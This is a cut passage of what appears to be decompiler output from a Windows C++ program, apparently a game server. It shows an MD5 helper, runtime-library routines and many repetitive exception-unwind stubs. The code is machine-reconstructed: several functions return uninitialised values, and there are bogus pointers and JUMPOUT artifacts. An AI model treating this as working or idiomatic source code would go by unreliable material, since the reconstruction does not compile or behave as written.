CMD5Checksum::Update(v2, lpszMD5, 8u); v7 = 0; v8 = (int)((char *)&v2->m_lMD5[0] + 2); do { lpszMD5[v7] = *(_BYTE *)(v8 - 2); lpszMD5[v7 + 1] = *(_BYTE *)(v8 - 1); lpszMD5[v7 + 2] = *(_BYTE *)v8; lpszMD5[v7 + 3] = *(_BYTE *)(v8 + 1); v7 += 4; v8 += 4; } while ( v7 < 0x10 ); v24 = 15; v23 = 0; LOBYTE(v22) = 0; v27 = 0; v9 = 0; do { v10 = lpszMD5[v9]; if ( v10 ) { if ( (unsigned __int8)v10 > 0xFu ) { v15 = "%x"; v14 = lptemp; } else { v15 = "0%x"; v14 = lptemp; } sprintf(v14, v15); } else { sprintf(lptemp, "00"); } v11 = (int)lptemp; v20 = 15; v19 = 0; LOBYTE(p) = 0; do v12 = *(_BYTE *)v11++; while ( v12 ); std::basic_string_std::allocator>::assign( (std::basic_string,std::allocator > *)&Str, lptemp, v11 - (_DWORD)&lptemp[1]); LOBYTE(v27) = 1; std::basic_string_std::allocator>::append( (std::basic_string,std::allocator > *)&strMD5, (std::basic_string,std::allocator > *)&Str, 0, 0xFFFFFFFFu); LOBYTE(v27) = 0; if ( v20 >= 0x10 ) operator delete(p); ++v9; v20 = 15; v19 = 0; LOBYTE(p) = 0; } while ( v9 < 16 ); result->_Myres = 15; result->_Mysize = 0; result->_Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign( result, (std::basic_string,std::allocator > *)&strMD5, 0, 0xFFFFFFFFu); if ( v24 >= 0x10 ) operator delete(v22); __security_check_cookie(v26); return v13; } //----- (0056ABA0) -------------------------------------------------------- std::basic_string,std::allocator > *__cdecl CMD5Checksum::GetMD5(std::basic_string,std::allocator > *result, char *pBuf, unsigned int nLength) { std::basic_string,std::allocator > *v3; // eax@1 int (__thiscall **MD5Checksum)(void *, char); // [sp+Ch] [bp-6Ch]@1 char v5; // [sp+10h] [bp-68h]@1 int v6; // [sp+50h] [bp-28h]@1 int v7; // [sp+54h] [bp-24h]@1 int v8; // [sp+58h] [bp-20h]@1 int v9; // [sp+5Ch] [bp-1Ch]@1 int v10; // [sp+60h] [bp-18h]@1 int *v11; // [sp+64h] [bp-14h]@1 unsigned int v12; // [sp+68h] [bp-10h]@1 int v13; // [sp+74h] [bp-4h]@1 MD5Checksum = &CMD5Checksum::_vftable_; memset(&v5, 0, 0x40u); v7 = 0; v6 = 0; v8 = 1732584193; v9 = -271733879; v10 = -1732584194; v11 = (int *)((char *)&pathfindtable.pft_table[1497][868].pfc_from.y + 2); v13 = 0; CMD5Checksum::Update((CMD5Checksum *)&MD5Checksum, pBuf, nLength); CMD5Checksum::Final((CMD5Checksum *)&MD5Checksum, result); __security_check_cookie(v12); return v3; } // 5DBB3C: using guessed type int (__thiscall *CMD5Checksum___vftable_)(void *p, char); //----- (0056AC76) -------------------------------------------------------- void __thiscall std::_String_base::_Xran(std::_String_base *this) { int (__thiscall **pExceptionObject)(void *, char); // [sp+0h] [bp-50h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-28h]@1 int v3; // [sp+4Ch] [bp-4h]@1 std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "invalid string position"); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::out_of_range::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVout_of_range_std__); } // 5DBB64: using guessed type int (__thiscall *std__out_of_range___vftable_)(void *p, char); //----- (0056ACB6) -------------------------------------------------------- void __thiscall std::_String_base::_Xlen(std::_String_base *this) { int (__thiscall **pExceptionObject)(void *, char); // [sp+0h] [bp-50h]@1 std::basic_string,std::allocator > thisa; // [sp+28h] [bp-28h]@1 int v3; // [sp+4Ch] [bp-4h]@1 std::basic_string_std::allocator>::basic_string_std::allocator>( &thisa, "string too long"); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (0056ACF6) -------------------------------------------------------- int __cdecl _Tolower_lk(int c, _Ctypevec *ploc) { _Ctypevec *v2; // esi@1 unsigned int v3; // eax@2 int result; // eax@5 int v5; // eax@14 int v6; // eax@16 int v7; // eax@20 int codepage; // [sp+4h] [bp-10h]@4 unsigned int handle; // [sp+8h] [bp-Ch]@2 char outbuffer[3]; // [sp+10h] [bp-4h]@16 v2 = ploc; if ( ploc ) { handle = ploc->_Hand; v3 = ploc->_Page; } else { handle = ___lc_handle_func()[2]; v3 = ___lc_codepage_func(); } codepage = v3; if ( handle ) { if ( (unsigned int)c < 0x100 ) { if ( v2 ) { if ( !(v2->_Table[c] & 1) ) return c; } else { if ( !isupper(c) ) return c; } } if ( HIBYTE(__pctype_func()[BYTE1(c)]) & 0x80 ) { LOBYTE(ploc) = BYTE1(c); *(_WORD *)((char *)&ploc + 1) = (unsigned __int8)c; v5 = 2; } else { LOWORD(ploc) = (unsigned __int8)c; v5 = 1; } v6 = __crtLCMapStringA(handle, 0x100u, (const char *)&ploc, v5, outbuffer, 3, codepage, 1); if ( v6 ) { if ( v6 == 1 ) { result = (unsigned __int8)outbuffer[0]; } else { v7 = 0; BYTE1(v7) = outbuffer[0]; result = (unsigned __int8)outbuffer[1] | v7; } return result; } return c; } result = c; if ( c >= 65 ) { if ( c <= 90 ) result = c + 32; } return result; } //----- (0056B0C4) -------------------------------------------------------- void __cdecl _Setgloballocale(void *ptr) { if ( !registered ) { registered = 1; _Atexit(tidy_global); } global_locale = (std::locale::_Locimp *)ptr; } //----- (0056B4CE) -------------------------------------------------------- void __thiscall std::runtime_error::_runtime_error(std::runtime_error *this) { exception *v1; // esi@1 v1 = (exception *)this; this->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::_Tidy(&this->_Str, 1, 0); exception::_exception(v1); } // 5DBBEC: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (0056B4F9) -------------------------------------------------------- void *__thiscall std::runtime_error::_vector_deleting_destructor_(std::runtime_error *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::runtime_error::_runtime_error(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0056B515) -------------------------------------------------------- void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::basic_string,std::allocator > *_Message) { std::runtime_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::basic_string_std::allocator>( &v2->_Str, _Message); } // 5DBBEC: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (0056B551) -------------------------------------------------------- void *__thiscall std::ios_base::failure::_scalar_deleting_destructor_(std::ios_base::failure *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::ios_base::failure::_failure(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0056B56D) -------------------------------------------------------- void __thiscall std::ios_base::failure::_failure(std::ios_base::failure *this) { this->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::ios_base::failure::_vftable_; std::runtime_error::_runtime_error(&this->baseclass_0); } // 5DBBF8: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (0056B63E) -------------------------------------------------------- void __thiscall std::runtime_error::runtime_error(std::runtime_error *this, std::runtime_error *__that) { std::runtime_error *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::runtime_error::_vftable_; std::basic_string_std::allocator>::basic_string_std::allocator>( &v2->_Str, &__that->_Str); } // 5DBBEC: using guessed type int (__thiscall *std__runtime_error___vftable_)(void *p, char); //----- (0056B681) -------------------------------------------------------- void __thiscall std::ios_base::failure::failure(std::ios_base::failure *this, std::ios_base::failure *__that) { std::ios_base::failure *v2; // esi@1 v2 = this; std::runtime_error::runtime_error(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.baseclass_0.vfptr = (exceptionVtbl *)&std::ios_base::failure::_vftable_; } // 5DBBF8: using guessed type int (__thiscall *std__ios_base__failure___vftable_)(void *p, char); //----- (0056B70C) -------------------------------------------------------- void __thiscall std::_Mutex::_Lock(std::_Mutex *this) { _Mtxlock((_RTL_CRITICAL_SECTION *)this->_Mtx); } //----- (0056B715) -------------------------------------------------------- void __thiscall std::_Mutex::_Unlock(std::_Mutex *this) { _Mtxunlock((_RTL_CRITICAL_SECTION *)this->_Mtx); } //----- (0056B8AF) -------------------------------------------------------- void __thiscall std::bad_alloc::_bad_alloc(std::bad_alloc *this) { this->baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; exception::_exception(&this->baseclass_0); } // 5DBC58: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (0056B8BA) -------------------------------------------------------- void *__thiscall std::bad_alloc::_vector_deleting_destructor_(std::bad_alloc *this, unsigned int a2) { void *v2; // esi@1 v2 = this; std::bad_alloc::_bad_alloc(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0056B8D6) -------------------------------------------------------- void __thiscall std::bad_alloc::bad_alloc(std::bad_alloc *this, std::bad_alloc *__that) { std::bad_alloc *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &__that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&std::bad_alloc::_vftable_; } // 5DBC58: using guessed type int (__thiscall *std__bad_alloc___vftable_)(void *p, char); //----- (0056B95A) -------------------------------------------------------- void __cdecl _Mtxdst(_RTL_CRITICAL_SECTION *_Mtx) { DeleteCriticalSection(_Mtx); } //----- (0056B965) -------------------------------------------------------- void __cdecl _Mtxlock(_RTL_CRITICAL_SECTION *_Mtx) { EnterCriticalSection(_Mtx); } //----- (0056B970) -------------------------------------------------------- void __cdecl _Mtxunlock(_RTL_CRITICAL_SECTION *_Mtx) { LeaveCriticalSection(_Mtx); } //----- (0056B97B) -------------------------------------------------------- void __cdecl _Atexit(void (__cdecl *pf)()) { if ( !atcount ) abort(); --atcount; atfuns[atcount] = pf; } //----- (0056CB63) -------------------------------------------------------- void __thiscall exception::exception(exception *this) { this->_m_what = 0; this->_m_doFree = 0; this->vfptr = (exceptionVtbl *)&exception::_vftable_; } // 5DBD00: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (0056CBFB) -------------------------------------------------------- void __thiscall exception::_exception(exception *this) { bool v1; // zf@1 v1 = this->_m_doFree == 0; this->vfptr = (exceptionVtbl *)&exception::_vftable_; if ( !v1 ) free((void *)this->_m_what); } // 5DBD00: using guessed type int (__thiscall *exception___vftable_)(void *p, char); //----- (0056CC1E) -------------------------------------------------------- void __thiscall bad_cast::bad_cast(bad_cast *this, const char *_Message) { bad_cast *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &_Message); v2->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; } // 5DBD20: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (0056CC37) -------------------------------------------------------- void __thiscall bad_cast::bad_cast(bad_cast *this, bad_cast *that) { bad_cast *v2; // esi@1 v2 = this; exception::exception(&this->baseclass_0, &that->baseclass_0); v2->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; } // 5DBD20: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (0056CC4F) -------------------------------------------------------- void __thiscall bad_cast::_bad_cast(bad_cast *this) { this->baseclass_0.vfptr = (exceptionVtbl *)&bad_cast::_vftable_; exception::_exception(&this->baseclass_0); } // 5DBD20: using guessed type int (__thiscall *bad_cast___vftable_)(void *p, char); //----- (0056CC5A) -------------------------------------------------------- void *__thiscall exception::_vector_deleting_destructor_(exception *this, unsigned int a2) { void *v2; // esi@1 v2 = this; exception::_exception(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0056CC76) -------------------------------------------------------- void *__thiscall bad_cast::_vector_deleting_destructor_(bad_cast *this, unsigned int a2) { void *v2; // esi@1 v2 = this; bad_cast::_bad_cast(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0056CCD8) -------------------------------------------------------- void *__thiscall type_info::_scalar_deleting_destructor_(type_info *this, unsigned int a2) { void *v2; // esi@1 v2 = this; type_info::_type_info(this); if ( a2 & 1 ) operator delete(v2); return v2; } //----- (0056D2AF) -------------------------------------------------------- int __cdecl _flushall() { return flsall(1); } //----- (0056D59B) -------------------------------------------------------- unsigned int __cdecl fwrite(const void *buffer, unsigned int size, unsigned int count, _iobuf *stream) { unsigned int result; // eax@1 _lock_file(stream); _fwrite_lk(buffer, size, count, stream); _unlock_file(stream); return result; } //----- (0056D6D0) -------------------------------------------------------- unsigned int __cdecl fread(void *buffer, unsigned int size, unsigned int count, _iobuf *stream) { unsigned int result; // eax@1 _lock_file(stream); _fread_lk(buffer, size, count, stream); _unlock_file(stream); return result; } //----- (0056DDCE) -------------------------------------------------------- lconv *__cdecl localeconv() { return (lconv *)__lconv; } //----- (0056E842) -------------------------------------------------------- __int64 __cdecl _mktime64(tm *tb) { return make__time64_t(tb, 1); } //----- (0056F288) -------------------------------------------------------- char *__cdecl getenv(const char *option) { char *result; // eax@1 _lock(7); _getenv_lk(option); _unlock(7); return result; } //----- (005706AB) -------------------------------------------------------- const unsigned __int16 *__cdecl __pctype_func() { return _pctype; } //----- (00570A51) -------------------------------------------------------- int __cdecl ___setlc_active_func() { return __setlc_active; } // 1466E564: using guessed type int __setlc_active; //----- (00570A57) -------------------------------------------------------- int *__cdecl ___unguarded_readlc_active_add_func() { return (int *)&__unguarded_readlc_active; } //----- (00570BEE) -------------------------------------------------------- int __cdecl __init_collate() { return 0; } //----- (00571FBD) -------------------------------------------------------- unsigned int __stdcall __crtTlsAlloc(void (__stdcall *lpCallBack)(void *)) { return TlsAlloc(); } //----- (00572301) -------------------------------------------------------- void __cdecl _inconsistency() { if ( __pInconsistency ) { __pInconsistency(); JUMPOUT(*(int *)unk_57231C); } terminate(); } // 57231C: using guessed type void __cdecl(); // 6041D8: using guessed type void (__cdecl *__pInconsistency)(); //----- (00574262) -------------------------------------------------------- int __cdecl __CxxSetUnhandledExceptionFilter() { pOldExceptFilter = SetUnhandledExceptionFilter(__CxxUnhandledExceptionFilter); return 0; } //----- (00574275) -------------------------------------------------------- LPTOP_LEVEL_EXCEPTION_FILTER __cdecl __CxxRestoreUnhandledExceptionFilter() { return SetUnhandledExceptionFilter(pOldExceptFilter); } //----- (0057596F) -------------------------------------------------------- void __cdecl _RTC_Initialize() { unsigned int f; // [sp+Ch] [bp-1Ch]@1 for ( f = (unsigned int)&__rtc_izz; f < (unsigned int)&__rtc_izz; f += 4 ) { if ( *(_DWORD *)f ) (*(void (**)(void))f)(); } } //----- (005759B3) -------------------------------------------------------- void __cdecl _RTC_Terminate() { unsigned int f; // [sp+Ch] [bp-1Ch]@1 for ( f = (unsigned int)&__rtc_tzz; f < (unsigned int)&__rtc_tzz; f += 4 ) { if ( *(_DWORD *)f ) (*(void (**)(void))f)(); } } //----- (00577510) -------------------------------------------------------- int __usercall ___00001(__int16 a1, int a2, double a3, long double a4) { double v4; // qt0@2 long double v5; // st6@2 long double v6; // st7@2 double v7; // st7@3 double v8; // st6@7 int v9; // eax@7 double v10; // qt1@8 long double v11; // st6@8 *(_BYTE *)(a2 - 144) = -2; if ( !HIBYTE(a1) ) { v4 = a3; v5 = a4; v6 = v4; goto fFXTOY; } v8 = isintTOS(a4); if ( v9 ) { v10 = v8; v11 = a4; v6 = v10; v5 = fabs(v11); fFXTOY: v7 = __FYL2X__(v5, v6); _ffexpm1(); if ( *(_BYTE *)(a2 - 159) & 1 ) { if ( _adjust_fdiv == 1 ) _safe_fdivr(v7); } JUMPOUT(_rttospop); } return _rtindfpop(); } // 57766E: using guessed type int _ffexpm1(void); // 577818: using guessed type int _rttospop(); // 5778C6: using guessed type int _rtindfpop(void); // 57CD71: using guessed type int __usercall _safe_fdivr(double); // 1466CCB0: using guessed type int _adjust_fdiv; //----- (005776B1) -------------------------------------------------------- double __usercall isintTOS(double result) { _ST6 = result; __asm { frndint } if ( _ST6 == result ) { _ST5 = result * *(double *)½ __asm { frndint } } return result; } //----- (0057BDCE) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12tod(_LDBL12 *pld12, DOUBLE *d) { return _ld12cvt(pld12, d, &DoubleFormat); } //----- (0057BDE4) -------------------------------------------------------- INTRNCVT_STATUS __cdecl _ld12tof(_LDBL12 *pld12, FLOAT *f) { return _ld12cvt(pld12, f, &FloatFormat); } //----- (0057BDFA) -------------------------------------------------------- void __cdecl _atodbl(DOUBLE *d, char *str) { void *EndPtr; // [sp+0h] [bp-14h]@1 _LDBL12 ld12; // [sp+4h] [bp-10h]@1 __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); _ld12tod(&ld12, d); } //----- (0057BE37) -------------------------------------------------------- void __cdecl _atoflt(FLOAT *f, char *str) { void *EndPtr; // [sp+0h] [bp-14h]@1 _LDBL12 ld12; // [sp+4h] [bp-10h]@1 __strgtold12(&ld12, (const char **)&EndPtr, str, 0, 0, 0, 0); _ld12tof(&ld12, f); } //----- (0057F3D0) -------------------------------------------------------- void __usercall _L161882(int a1) { AbnormalStateContainer::AbnormalStatePartyEnchant::_AbnormalStatePartyEnchant(*(AbnormalStateContainer::AbnormalStateCouplePartyEnchant **)(a1 - 16)); } //----- (0057F3F0) -------------------------------------------------------- void __usercall _L169370(int a1) { AbnormalStateContainer::AbstateElementInObject::ASE_Tick::_ASE_Tick((AbnormalStateContainer::AbstateElementInObject::ASE_Tick *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (00581120) -------------------------------------------------------- void __usercall _L168212(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00581128) -------------------------------------------------------- void __usercall _L168213(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00581130) -------------------------------------------------------- void __usercall _L168214(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (00581150) -------------------------------------------------------- void __usercall _L168353(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage(*(AbnormalStateContainer::SubAbnormalStateCaptivate **)(a1 - 16)); } //----- (00581158) -------------------------------------------------------- void __usercall _L168354(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 4)); } //----- (00581163) -------------------------------------------------------- void __usercall _L168355(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (0058116E) -------------------------------------------------------- void __usercall _L168356(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 12)); } //----- (00581179) -------------------------------------------------------- void __usercall _L168357(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 16)); } //----- (00581184) -------------------------------------------------------- void __usercall _L168358(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 20)); } //----- (0058118F) -------------------------------------------------------- void __usercall _L168359(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 24)); } //----- (0058119A) -------------------------------------------------------- void __usercall _L168360(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 28)); } //----- (005811A5) -------------------------------------------------------- void __usercall _L168361(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 32)); } //----- (005811B0) -------------------------------------------------------- void __usercall _L168362(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 36)); } //----- (005811BB) -------------------------------------------------------- void __usercall _L168363(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 40)); } //----- (005811C6) -------------------------------------------------------- void __usercall _L168364(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 44)); } //----- (005811D1) -------------------------------------------------------- void __usercall _L168365(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 48)); } //----- (005811DC) -------------------------------------------------------- void __usercall _L168366(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 52)); } //----- (005811E7) -------------------------------------------------------- void __usercall _L168367(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 56)); } //----- (005811F2) -------------------------------------------------------- void __usercall _L168368(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 60)); } //----- (005811FD) -------------------------------------------------------- void __usercall _L168369(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 64)); } //----- (00581208) -------------------------------------------------------- void __usercall _L168370(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (00581213) -------------------------------------------------------- void __usercall _L168371(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 72)); } //----- (0058121E) -------------------------------------------------------- void __usercall _L168372(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 76)); } //----- (00581229) -------------------------------------------------------- void __usercall _L168373(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 80)); } //----- (00581234) -------------------------------------------------------- void __usercall _L168374(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 84)); } //----- (0058123F) -------------------------------------------------------- void __usercall _L168375(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 88)); } //----- (0058124A) -------------------------------------------------------- void __usercall _L168376(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 92)); } //----- (00581255) -------------------------------------------------------- void __usercall _L168377(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 96)); } //----- (00581260) -------------------------------------------------------- void __usercall _L168378(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (0058126B) -------------------------------------------------------- void __usercall _L168379(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 104)); } //----- (00581276) -------------------------------------------------------- void __usercall _L168380(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 108)); } //----- (00581281) -------------------------------------------------------- void __usercall _L168381(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 112)); } //----- (0058128C) -------------------------------------------------------- void __usercall _L168382(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 116)); } //----- (00581297) -------------------------------------------------------- void __usercall _L168383(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 120)); } //----- (005812A2) -------------------------------------------------------- void __usercall _L168384(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 124)); } //----- (005812AD) -------------------------------------------------------- void __usercall _L168385(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 128)); } //----- (005812BB) -------------------------------------------------------- void __usercall _L168386(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (005812C9) -------------------------------------------------------- void __usercall _L168387(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 136)); } //----- (005812D7) -------------------------------------------------------- void __usercall _L168388(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 140)); } //----- (005812E5) -------------------------------------------------------- void __usercall _L168389(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 144)); } //----- (005812F3) -------------------------------------------------------- void __usercall _L168390(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 148)); } //----- (00581301) -------------------------------------------------------- void __usercall _L168391(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 152)); } //----- (0058130F) -------------------------------------------------------- void __usercall _L168392(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 156)); } //----- (0058131D) -------------------------------------------------------- void __usercall _L168393(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 160)); } //----- (0058132B) -------------------------------------------------------- void __usercall _L168394(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (00581339) -------------------------------------------------------- void __usercall _L168395(int a1) { AbnormalStateContainer::SubAbnormalStateActorAreaDamage::_SubAbnormalStateActorAreaDamage((AbnormalStateContainer::SubAbnormalStateCaptivate *)(*(_DWORD *)(a1 - 16) + 168)); } //----- (00581347) -------------------------------------------------------- void __usercall _L168396(int a1) { 